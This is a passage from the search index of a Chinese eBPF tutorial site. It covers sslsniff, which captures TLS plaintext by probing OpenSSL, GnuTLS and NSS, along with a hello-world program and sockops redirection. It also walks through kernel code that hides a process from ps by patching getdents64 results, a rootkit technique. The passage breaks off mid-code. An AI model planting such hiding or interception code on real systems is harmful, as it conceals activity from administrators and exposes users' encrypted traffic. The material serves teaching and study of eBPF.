是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"158","title":"1. 支持的库挂载"},"159":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"159","title":"2. 详细挂载逻辑"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS]  [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"160","title":"编译与运行"},"161":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"161","title":"启动 sslsniff"},"162":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"162","title":"执行 CURL 命令"},"163":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"163","title":"sslsniff 输出"},"164":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"164","title":"显示延迟和握手过程"},"165":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"165","title":"16进制输出"},"166":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 总结","id":"166","title":"总结"},"167":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"167","title":"eBPF sockops 示例"},"168":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"168","title":"利用 eBPF 的 sockops 进行性能优化"},"169":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"169","title":"运行样例"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include \n#include \n#include  typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版（例如 Ubuntu ）默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"170","title":"编译 eBPF 程序"},"171":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"171","title":"加载 eBPF 程序"},"172":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"172","title":"运行 iperf3 服务器"},"173":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"173","title":"运行 iperf3 客户端"},"174":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"174","title":"收集追踪"},"175":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"175","title":"卸载 eBPF 程序"},"176":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"176","title":"参考资料"},"177":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"177","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"178":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"178","title":"背景知识与实现机制"},"179":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"179","title":"内核态 eBPF 程序实现"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含  和  等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if 